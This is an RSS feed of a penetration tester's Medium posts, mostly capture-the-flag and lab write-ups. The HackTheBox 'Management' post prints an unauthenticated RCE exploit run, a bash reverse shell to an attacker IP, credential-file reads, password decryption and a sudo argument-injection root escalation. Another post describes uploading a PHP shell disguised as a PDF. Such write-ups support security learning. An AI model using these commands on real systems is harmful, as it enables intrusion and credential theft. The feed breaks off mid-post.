<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Y0s_0x_IBM on Medium]]></title>
        <description><![CDATA[Stories by Y0s_0x_IBM on Medium]]></description>
        <link>https://medium.com/@yossefmohamedsalah2001?source=rss-82d4200ead6e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aFdl0YO2K45vW2GhTL8-sA.jpeg</url>
            <title>Stories by Y0s_0x_IBM on Medium</title>
            <link>https://medium.com/@yossefmohamedsalah2001?source=rss-82d4200ead6e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:06:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yossefmohamedsalah2001/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Management — HTB Write-up]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/management-htb-write-up-8e0ba469c179?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e0ba469c179</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Mon, 23 Nov 2026 00:27:52 GMT</pubDate>
            <atom:updated>2026-11-23T00:27:52.447Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9cY1wSgWTiHzUSCi2SPDw.png" /></figure><p>توكلنا على ولا حول ولا قوه الا بالله</p><p>Hello and Welc3ome</p><p>Youssef Ibrahim, Penetration Tester and Security Researcher</p><p>My YouTube Channel</p><p><a href="https://www.youtube.com/@yossefibrahim2001">https://www.youtube.com/@yossefibrahim2001</a></p><p>This is steps to how Reached and Solve this lab</p><h3>Full port scan</h3><pre>nmap -p- --min-rate=1000 -T4 -Pn &lt;TARGET_IP&gt;</pre><ul><li>-p- → scan all 65535 ports</li><li>--min-rate=1000 -T4 → speed it up</li><li>-Pn → skip host discovery (in case ICMP is blocked)</li></ul><h3>Service/version scan on the open ports</h3><pre>nmap -p 22,80,443,1689,4444,36713,50389 -sVC -Pn &lt;TARGET_IP&gt;</pre><p><strong>Results:</strong></p><p>Port Service Notes 22 SSH OpenSSH 9.6 80/443 nginx redirects to management.htb 1689/36713 Java RMI not used in this path 4444 SSL/LDAPS OpenDJ fingerprint 50389 LDAP <strong>Anonymous bind allowed</strong></p><p>The SSL certificate on port 443 revealed the hostname management.htb, and the one on 4444 revealed sso.management.htb.</p><h3>Add the hostnames to /etc/hosts</h3><pre>echo &quot;10.129.244.176 management.htb sso.management.htb&quot; | sudo tee -a /etc/hosts</pre><h3>LDAP anonymous bind check</h3><pre>ldapsearch -x -H ldap://&lt;TARGET_IP&gt;:50389 -b &quot;&quot; -s base &quot;(objectClass=*)&quot; &quot;*&quot; +</pre><p>This returned the LDAP root DSE, confirming:</p><ul><li>Server: <strong>OpenDJ 5.0.3</strong></li><li>Naming context: dc=management,dc=htb</li></ul><p>Trying to dump the actual directory tree came back empty — a dead end for now:</p><pre>ldapsearch -x -H ldap://&lt;TARGET_IP&gt;:50389 -b &quot;dc=management,dc=htb&quot; &quot;(objectClass=*)&quot;</pre><h3>2. Finding the Real Target: OpenAM SSO</h3><p>Browsing https://management.htb/ → clicking &quot;Client Login&quot; redirected to https://sso.management.htb/which turned out to be an <strong>OpenAM</strong> login page.</p><p>Checking the page source revealed the version: <strong>OpenAM 16.0.5</strong>.</p><h3>3. Initial Access: CVE-2026–33439 (OpenAM Pre-Auth RCE)</h3><h3>The vulnerability, explained simply</h3><p>OpenAM uses an old framework called <strong>JATO</strong> for some of its UI pages (like the Password Reset page). JATO has a parameter called jato.clientSession that gets <strong>deserialised</strong> (converted from raw bytes back into a Java object) without any safety checks.</p><p>In plain terms: if you can control what bytes get deserialised, you can make the server create arbitrary Java objects — and with the right “gadget chain,” that turns into <strong>remote code execution</strong>, with <strong>no login required</strong>.</p><p>A previous version of this same bug (jato.pageSession) was patched by adding a whitelist of safe classes. But the fix was incomplete — the sibling parameter jato.clientSession was left unprotected. That&#39;s exactly what CVE-2026-33439 is.</p><ul><li><strong>Affected:</strong> OpenAM ≤ 16.0.5</li><li><strong>Entry point:</strong> /openam/ui/PWResetUserValidation (and other JATO ViewBean pages)</li></ul><h3>Exploiting it</h3><p>PoC used: <a href="https://github.com/infernosalex/CVE-2026-33439-Python-PoC">infernosalex/CVE-2026-33439-Python-PoC</a> — a standalone Python exploit, no dependencies needed.</p><pre>git clone https://github.com/infernosalex/CVE-2026-33439-Python-PoC<br>cd CVE-2026-33439-Python-PoC</pre><pre># Test command execution<br>python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation &#39;id&#39;</pre><p><strong>Result:</strong></p><pre>uid=996(openam) gid=987(openam) groups=987(openam)</pre><p>We have unauthenticated RCE as the openam user.</p><h3>Getting a reverse shell</h3><p>Start a listener:</p><pre>nc -lvnp 4444</pre><p>Send the reverse shell payload:</p><pre>python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation \<br>  &#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP&gt;/4444 0&gt;&amp;1&quot;&#39;</pre><blockquote><strong>Note:</strong> A plain bash -i &gt;&amp; /dev/tcp/... without wrapping it in bash -c &quot;...&quot; failed with Syntax error: Bad fd number — the command was being run through /bin/sh (dash), which doesn&#39;t understand /dev/tcp. Wrapping it in bash -c forces it to run through bash instead.</blockquote><p>Stabilise the shell:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>export TERM=xterm<br># Ctrl+Z, then on your own terminal:<br>stty raw -echo; fg</pre><h3>4. Hunting for Credentials</h3><p>Basic enumeration showed a /home/owen directory we couldn&#39;t access yet, and two interesting applications installed under /opt: <strong>OpenAM</strong> itself and <strong>GLPI</strong> (an IT asset management tool).</p><h3>Dead end: OpenAM’s own config files</h3><p>OpenAM keeps a keystore (keystore.jceks) that stores some service account passwords, and we were able to read its passwords:</p><pre>cat /opt/openam/config/openam/.storepass<br>cat /opt/openam/config/openam/.keypass</pre><p>We tried dumping the dsameuserpwd and configstorepwd secret keys from the keystore using a small Java program (since the target only had a minimal JRE, no javac), but this path didn&#39;t lead anywhere useful for this box. The real credentials were in GLPI instead.</p><h3>The real find: GLPI database credentials</h3><pre>cat /opt/glpi/config/config_db.php</pre><pre>public $dbhost = &#39;127.0.0.1&#39;;<br>public $dbuser = &#39;glpi&#39;;<br>public $dbpassword = &#39;8rhu0L6Pw4Y7&#39;;<br>public $dbdefault = &#39;glpidb&#39;;</pre><h3>5. From GLPI to Owen’s SSH Password</h3><h3>Step 1 — Query the GLPI database for LDAP integration settings</h3><p>GLPI can sync its users with an external LDAP directory. The connection settings (including the bind password) are stored in the glpi_authldaps table:</p><pre>mysql -u glpi -p&#39;8rhu0L6Pw4Y7&#39; -h 127.0.0.1 glpidb -e &quot;SELECT * FROM glpi_authldaps\G&quot;</pre><p>Key fields returned:</p><pre>name: Management Directory<br>rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb<br>rootdn_passwd: avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==</pre><h3>Step 2 — Understanding how that password is protected</h3><p>This password isn’t hashed like normal user passwords (which use bcrypt, one-way). It <strong>has</strong> to be reversible, because GLPI needs the actual plaintext password every time it connects to the LDAP server to sync accounts.</p><p>GLPI 10.x encrypts this kind of secret using <strong>libsodium’s XChaCha20-Poly1305</strong> — a modern authenticated encryption algorithm. The encrypted blob is structured as:</p><pre>[ 24-byte nonce ] + [ ciphertext + authentication tag ]</pre><ul><li>The <strong>nonce</strong> is a random value used once per encryption (not secret, stored alongside the data).</li><li>The actual secret <strong>key</strong> used to encrypt/decrypt is stored separately, in:</li><li>/opt/glpi/config/glpicrypt.key</li></ul><p>To decrypt: split the blob into nonce + ciphertext, then run libsodium’s decrypt function with the key.</p><h3>Step 3 — Decrypt it</h3><pre>php -r &quot;<br>\$key = file_get_contents(&#39;/opt/glpi/config/glpicrypt.key&#39;);<br>\$ciphertext = base64_decode(&#39;avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==&#39;);<br>\$nonce = substr(\$ciphertext, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);<br>\$data  = substr(\$ciphertext, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);<br>\$plain = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(\$data, \$nonce, \$nonce, \$key);<br>echo \$plain . PHP_EOL;<br>&quot;</pre><p><strong>Output:</strong></p><pre>WpczC40GhTbk</pre><h3>Step 4 — SSH as owen</h3><pre>ssh owen@management.htb<br># password: WpczC40GhTbk</pre><p>Login successful → <strong>user flag obtained.</strong></p><h3>6. Privilege Escalation:</h3><h3>Check sudo permissions</h3><pre>sudo -l</pre><p><strong>Result:</strong></p><pre>User owen may run the following commands on management:<br>    (root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *</pre><h3>The problem, explained simply</h3><p>That trailing * is dangerous. It means sudo will allow owen to append <strong>any extra arguments</strong> after the fixed part of the command.</p><p>rdiff-backup parses its arguments left to right, and if the same option is given twice, <strong>the last one wins</strong>. So if we can sneak in a second --restrict-path /, it overrides the original /opt/backup restriction completely — giving the root-owned rdiff-backup --server process access to the entire filesystem.</p><h3>How do we inject a second --restrict-path without typing it directly?</h3><p>We can’t just type sudo rdiff-backup --server ... --restrict-path / ourselves — sudo only allows the exact fixed command plus anything after it, but we still need the server to actually run with that injected flag.</p><p>The trick is rdiff-backup&#39;s own --remote-schema option, which lets the <strong>client</strong> customise the command used to spawn the <strong>server</strong> process, using %s as a placeholder for the hostname part of the target location.</p><p>rdiff-backup interprets locations in the format hostname::path. So the location:</p><pre>/::/root</pre><p>is parsed as hostname = / and path = /root. When the client builds the server command, it substitutes %s with that hostname — which is /.</p><h3>The exploit command</h3><pre>rdiff-backup \<br>  --remote-schema &quot;sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path %s&quot; \<br>  backup /::/root /tmp/root_backup</pre><p>What actually runs on the server side, as root:</p><pre>sudo /usr/bin/rdiff-backup --server \<br>  --restrict-path /opt/backup \<br>  --restrict-mode read-only \<br>  --restrict-path /        # ← injected, overrides the first one</pre><p>Since the second --restrict-path / wins, the restriction is effectively removed, and the root-owned server process backs up the entire /root directory into /tmp/root_backup, which is owned by owen.</p><h3>Grab the flag</h3><pre>ls -la /tmp/root_backup<br>cat /tmp/root_backup/root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e0ba469c179" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Join Team]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/join-team-92b78b1a5061?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/92b78b1a5061</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 00:10:55 GMT</pubDate>
            <atom:updated>2026-06-28T00:10:55.735Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, again, on my write-up on the Cyberdefenders platform</p><p>We will solve the Join Team Lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIt9ADmhFkG4gezPzKxE2g.png" /></figure><p>ok now let&#39;s discover the content and see the result</p><p>We see the link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pH8Du01IEP18PnF16cNR0A.png" /></figure><p>In the URL see the result of the entered pages</p><pre>http://cdcamxwl32pue3e6m86dv92kb4zlgmqvrnd7jf2zo-web.cybertalentslabs.com/index.php?home</pre><p>ok now let&#39;s discover the Burp Suite</p><p>We find the content of the pages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJjWvnm9e62ussjWlmfRQA.png" /></figure><p>Now let&#39;s try different pages</p><p>not seeing the result</p><p>Let&#39;s upload the file to the Upload CV in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qkPVT--tFRneDmHxHE1GZw.png" /></figure><p>If we upload a file other than a PDF, it displays the &quot; Only PDF Allowed &quot; result</p><p>Okay, I changed on Burp Suite and uploaded PHP files in the content of the Reapter</p><p>i think its using include function to exploit the php file on server</p><p>so i upload it like PDF Normally but changed the content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jH5jpTSIWUpCfBCtNixzFA.png" /></figure><p>Then go to the path</p><pre>http://cdcamxwl32pue3e6m86dv92kb4zlgmqvrnd7jf2zo-web.cybertalentslabs.com/index.php?data/shell.pdf</pre><p>Now we see the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*heKjoZgxyYj36Nq1ybNf4A.png" /></figure><p>Thnx ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92b78b1a5061" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RedX CTF | Lattice of Lies]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/redx-ctf-lattice-of-lies-86e5acfcda3a?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/86e5acfcda3a</guid>
            <category><![CDATA[redx-ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[lattice-of-lies]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Sat, 09 May 2026 12:25:45 GMT</pubDate>
            <atom:updated>2026-05-09T12:29:47.843Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*8g3PFXZ35jHu1Y6ggjHheA.jpeg" /></figure><p>Hello everyone,</p><p>And welcome today, I will solve <br>a challenge Lattice of Lies to yours</p><p>This challenge is simple to solve in this sentence <br>“ I chose d to be small. Very small. “</p><p>In CTF practice, we just use a script.<br>The flag will appear after decrypting c.</p><p>Given this is RSA with small d and large e, Here’s the <strong>Wiener attack</strong> Python code (using owiener library):</p><p>python</p><pre>import owiener<br><br>N = 0x191dab363f56b8b3e271dbe00799565dc73d992ed9a071737d1be16af5918d49ae6235f85bfc14e3aab3b4bf22a0c56557a05cf782f7af32788ec949ea345591<br>e = 0x9192c080777bc2757ded2597615ce2709a0e1a1dd3838fa95559125d40ed290b94a9d762beea6e508e8079f7d4c002b4683bf366ac8fcbe7da3031709c8713d<br>c = 0x1878200cc747cf080ea40a47241d627e3434363fee6365fd0e4a3e38009aaca68fff424baf6a32de312f3ab285050b26e495ffd94ec08e420bdbb29c486ceda<br>d = owiener.attack(e, N)<br>if d is None:<br>    print(&quot;Wiener attack failed&quot;)<br>else:<br>    print(&quot;Found d =&quot;, d)<br>    m = pow(c, d, N)<br>    print(&quot;Decrypted message (hex):&quot;, hex(m))<br>    print(&quot;Decrypted message (bytes):&quot;, bytes.fromhex(hex(m)[2:]))</pre><p>Run this, and you’ll get d small and the plaintext.</p><p>after Run Thc code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBeyT_3Aoo66njacSfchsg.png" /></figure><p>Decrypted message (bytes): b’<strong>ZSC{w13n3r_c0nv3rg3nts_d0nt_l13_but_d3c0ys_d0}</strong>’</p><p>I want to share this with you and hope to doing well😊</p><p>Allhamdullah 1st in RedX CTTF Cyber Security</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*TexaQpaDv3WoPGrv" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86e5acfcda3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Amadey — APT-C-36 Lab]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/amadey-apt-c-36-lab-d1afa9e2696d?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1afa9e2696d</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 13:05:07 GMT</pubDate>
            <atom:updated>2026-03-11T13:05:07.306Z</atom:updated>
            <content:encoded><![CDATA[<p>Cyber Defenders</p><p>Hello again, my friend, and welcome to this again <br>in this blog i will solve with you this Lab</p><p>ok iam not waiting too , lets start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Eif8wh41-1SA_dKyf69_g.png" /></figure><p>First lets see the 1 Question :</p><p>— — — — — — — — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*RiSfgldY-1MK-LsTECSW6A.png" /></figure><p>First, we need to know what the dump analysis is. <br>The Dump analysis is a process that monitors the active processes running on your device. Sometimes, the malware does not affect the virus directly on hardware files, but it&#39;s still hidden in the running process</p><p>Like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UirnQTpHIDpIaWRgFXahvQ.png" /></figure><p>Now we will use this command and use a tool called vol.py for seeing the saved file <strong>.vmem</strong> in the range time and using Pstree to display in schedule</p><pre>vol.py -f &quot;/home/ubuntu/Desktop/Start here/Artifacts/Windows 7 x64-Snapshot4.vmem&quot; windows.pstree.PsTree</pre><p>This information will be displayed</p><p><strong><em>PID Process ID PPID Parent Process ID Threads Handles Create Time Exit Time</em></strong></p><p>The lsass.exe file is for security policy and saves the credentials so the attacker tries to get this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2Hf5EiHE-gcV8QZzg62-A.png" /></figure><p>We see the second file is a malicious file. This is called a <strong>Masquerading Attack</strong></p><p>this mean file called likely the origin file</p><p><strong>explorer.exe → طبيعي<br> exp1orer.exe → malware</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8uXtp7ugCObdl_SH_ZkVw.png" /></figure><p>This Question is know what the malicious process location in workstation</p><p>we will use this command</p><pre>vol.py -f &quot;/home/ubuntu/Desktop/Start here/Artifacts/Windows 7 x64-Snapshot4.vmem&quot; windows.cmdline --pid 2748</pre><p>to see the location</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FpHVjcU5Sr5qF-VFahYwbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vbKxcAUj-Gy2BcOTjkMRqA.png" /></figure><p>okay if we want the server that interacting with this process we want to use this command</p><pre>vol.py -f ~/Desktop/Start\ here/Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.netscan | grep 2748</pre><p>We will see the IP of Server C2C</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PM77bfAWpZYG-KRElhEPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDmjTYA2WvJmwmYczkxZbg.png" /></figure><p>Okay, he wants to know how many times the attacker wants to download the file from the server.</p><p>First, we need the .dmp file to read it using this command</p><pre>vol.py -f ~/Desktop/Start\ here/Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.memmap --pid 2748 --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-Qgd3xy1r0PEfhOwwg12Q.png" /></figure><p>We will read it using the string tool and using GET / to get the headers of the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zzHFxAZTzPPlBf0t4uSpg.png" /></figure><p>thats mean <strong>twice 2</strong> to make the attacker download this file cred64.dll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qybQbHDxP3dmx-blqjMrLA.png" /></figure><p>okay to search about this file path we use this command</p><pre>vol.py -f ~/Desktop/Start\ here/Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.filescan | grep -E &quot;cred64|clip64&quot;</pre><p>This will grep the path of <strong>cred64 </strong>or <strong>clip64</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2qYpTl9v9DCcxYcMODcSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACFWE5pTv4nFFXXZcqUlTQ.png" /></figure><p>We want to know what the process of running priority used</p><pre>vol.py -f ~/Desktop/Start\ here/Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.pstree.PsTree</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8MpUSgWqcajxc2ePSjrBg.png" /></figure><p>The Answer will <strong>rundll32.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAPQTF17lvhJBaoX4ywC-g.png" /></figure><p>this want to know how it will be a <strong>backdoor </strong>in device and running after restart again <br>we need to command</p><pre>vol.py -f ~/Desktop/Start\ here/Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.filescan | grep &quot;lssass.exe&quot;</pre><p>Find the path are stored</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0KzG5L5xxssR3T-Bxvxvw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1afa9e2696d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Yellow RAT Lab]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/yellow-rat-lab-8734794948db?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/8734794948db</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Tue, 10 Mar 2026 23:54:10 GMT</pubDate>
            <atom:updated>2026-03-10T23:54:10.624Z</atom:updated>
            <content:encoded><![CDATA[<p>Cyber Defenders Lab Solve</p><p>Hello again, iam youssef Ibrahim Mohamed pentester and Network Security Specialist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*lZcTI-ItO2sIz4v4OK8VXw.png" /></figure><p>. This lab is about the hash Virus File, which is called Yellow RAT. Let&#39;s see how I solve this, and discuss in details critical points we should know it</p><p>First Question :</p><p>— — — — — -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*1qMSnEu6Fnt6KKa18hsALA.png" /></figure><p>ok now I used the search engine Virus Total</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mweBgGWLNuIeS3xEXzxWNg.png" /></figure><p>ok i download the text file and pasted the hash URL using <br><a href="https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/detection">https://www.virustotal.com/gui/file/</a></p><p>now lets go to &gt; Community</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYKoXg9tS8an5Jqs114ScQ.png" /></figure><p>We have the graph of families of this type of malware, called <strong>Yellow Cockatoo RAT, which is a Remote Code Execution</strong></p><p>This solves the first Question</p><p>Second Question :</p><p>— — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*cGeQLilstNXoBWGrlpq0rQ.png" /></figure><p>ok this question wants to know the common file name that was discovered in the workstation</p><p>We want to go into details and see these files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NY5RQl_XmgpbKW9UACG59A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*Up49E-1q7O_mgYTt7ts6SA.png" /></figure><p>ok thats is the file is injected by virus RCE</p><p>Third Question :</p><p>— — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*Xfna6bzyFOdT-eigfFVVlg.png" /></figure><p>ok he wants the timestamp of when The Attacker using This malware in the network to get what you want to go &gt; <strong>Details </strong>&gt; <strong>Portable Executable Info</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*j3BmZwkY4LWjlcvSqrfNOQ.png" /></figure><p>ok that time compilation of malware</p><p>Fourth Question :</p><p>— — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*wgJfQQ0EHpxavqxfau_eMg.png" /></figure><p>We can get the first submitted malware to Virustotal, go to <strong>Details </strong>&gt; <strong>History</strong></p><p>ok now we see the First Creation and First Submission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*oSESVS8NHl787kSqQTI-uA.png" /></figure><p>Fifth Question :</p><p>— — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*yap9ivtZ-V0t-twy623JLg.png" /></figure><p>ok we will get the stored malware in AppData by searching for</p><p><strong>RCE</strong> <strong>( Yellow Cockatoo ), </strong>let&#39;s make a search and enter the famous web information about this malware called <strong>Red Canary 🐦</strong></p><p>He is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Vg8i37wLxygQrf5zHsOlfg.png" /></figure><p>now lets find where it is stored in the victim machine path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QumUzrMVX8wXOveAGAwVWg.png" /></figure><p>yes its stored in <strong>Username\AppData\Roaming\solarmarker.dat</strong></p><p>sixth Question :</p><p>— — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*3PRCaXjMj8V0WKVfmOcIkg.png" /></figure><p>Go to <strong>Red Canary</strong> 🐦 again</p><p>and search for server responses attacker from victim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hIXLqPoYtDz-lpGBWu2gRg.png" /></figure><p>ok Thats it</p><p>Thanks for reading</p><p>dont forget to turn on the alert 🚨 to see all my news Reports 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8734794948db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Real Life Machine Windows Server 2022 Attacking Walkthrough WeInnovate]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/real-life-machine-windows-server-2022-attacking-walkthrough-weinnovate-f9be1eafd49a?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9be1eafd49a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[windows-server]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 22:21:05 GMT</pubDate>
            <atom:updated>2026-02-02T22:21:05.579Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello and welcome for my reports again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ri_sJlpniSFR7hC9daeP9w.png" /></figure><p>i want to introduce myself — … Iam Youssef Ibrahim Youtuber Contentor and Penetration Tester Engineer</p><p>Warning ⚠️ This Walkthrough for educational and how i gain full permission access on authorization system admin in Network domain called <strong><em>&lt;horrorland.local&gt; </em></strong>lets start from first and Tell Most and efforts command i used in This journey</p><p>Lets start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*aiiquoJPoXj3xtJu.gif" /></figure><p>First i download virtual exam and download that open in VirtualBox and Linux</p><p>First step we should make the Target and host machine in same network</p><p>192.168.200.0/24 subnet 255.255.255.0 ( 255–2 = <strong>253 </strong>Machine in network )</p><p>ok This Screens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0Rwo6LIHTmnLsFGxi0nJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TrHmiyv0UG31d_VhB4tHzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XXlWA--vsYN4_3xkswSGEw.png" /></figure><p>after create network you will create his name like <strong><em>YoussefNetwork </em></strong>choose your prefer name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIt2_IN2Wu2LtvW6SahQ-Q.png" /></figure><p>Choose the two of Machine in same network and lets try that</p><pre>sudo arp-scan -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJZPiIvbvS58NK8C7uhz4g.png" /></figure><p>Successfully you will found the device</p><p>now lets get more information about this target the machine .. <strong>hostname </strong>and <strong>operating System </strong>and <strong>version and the ports are opening in this machine and service are working …. etc</strong></p><p>we will thinking about <strong>nmap </strong>why ….. ??</p><p>nmap is the tool make known the ports are working and all informatin about the target make sniifing the packets that comming from target machine</p><ul><li>A is argument used in nmap to get version in details and name of OS and system</li></ul><pre>nmap -A 192.168.200.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*IZ0Mktp5zhXtl6kA_n2Ivw.png" /></figure><p>we look the http protocol open and version Microsoft IIS httpd 10.0 lets open it</p><figure><img alt="" 